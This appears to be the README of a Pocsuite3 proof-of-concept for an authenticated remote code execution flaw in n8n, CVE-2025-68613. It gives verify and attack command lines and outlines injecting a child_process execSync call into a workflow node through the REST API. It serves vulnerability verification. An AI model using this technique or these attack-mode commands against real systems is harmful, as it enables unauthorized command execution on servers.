
基于Pocsuite3 框架编写的漏洞验证与利用脚本,用于检测 n8n工作流自动化工具中的认证后远程代码执行漏洞(RCE)
CVE ID: CVE-2025-68613
Type: Authenticated Remote Code Execution
Framework: Pocsuite3
This is a vulnerability verification and exploitation script based on the Pocsuite3 framework, used to detect the authenticated remote code execution (RCE) vulnerability in the n8n workflow automation tool. The script supports both harmless verification (Verify) and command execution (Attack) modes, and includes automatic cleanup of test traces.
This script extends the basic parameters of Pocsuite3 with the following custom parameters, which must be passed via --options at runtime:
| Parameter | Required | Default | Description |
|---|---|---|---|
api_key | ✅ | - | Target's X-N8N-API-KEY (required for authentication) |
cmd | ❌ | id | System command to execute in Attack mode |
Ensure pocsuite3 is installed (pip install pocsuite3), and save the script as n8n_auth_rce.py.
In verify mode, the script sends a workflow containing a safe mathematical calculation (11111 + 22222) to the target. If the returned result is 33333, it confirms that the JS engine can be invoked maliciously.
This mode is harmless and does not execute system commands.
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --verify --options '{"api_key": "YOUR_API_KEY_HERE"}'
Expected output:
[+] Vulnerable! JS Expression executed. Result: 33333
Attack mode allows you to execute arbitrary system commands. By default, it executes the id command, but you can customize the command via the cmd parameter.
Execute default command (id):
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --attack --options '{"api_key": "YOUR_API_KEY_HERE"}'
Execute custom command (e.g., whoami):
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --attack --options '{"api_key": "YOUR_API_KEY_HERE", "cmd": "whoami"}'
Expected output:
[+] Command 'whoami' executed:
root
The execution flow of this PoC is designed as a closed loop to minimize residual impact on the target system:
api_key, containing an n8n-nodes-base.set node.require('child_process').execSync(...)) into the node's value field.POST request to /rest/workflows to create a temporary workflow and obtain the workflow_id.POST request to /rest/workflows/{id}/run to trigger the workflow execution and parse the returned JSON to extract command output.DELETE request is sent to /rest/workflows/{id} to delete the temporary workflow, keeping the environment clean.Please read carefully before use
- Authorization Principle: This tool is intended for cybersecurity professionals to perform security testing or vulnerability verification on target systems with explicit authorization.
- Illegal Activities: It is strictly prohibited to use this tool for any unauthorized penetration testing, attack behavior, or illegal purposes.
- Liability: Any consequences (including but not limited to system damage, data loss, legal disputes) arising from the use of this tool shall be borne solely by the user. The developer and contributors assume no legal responsibility.
- Compliance: Users must comply with local laws and regulations (e.g., the Cybersecurity Law of the People's Republic of China).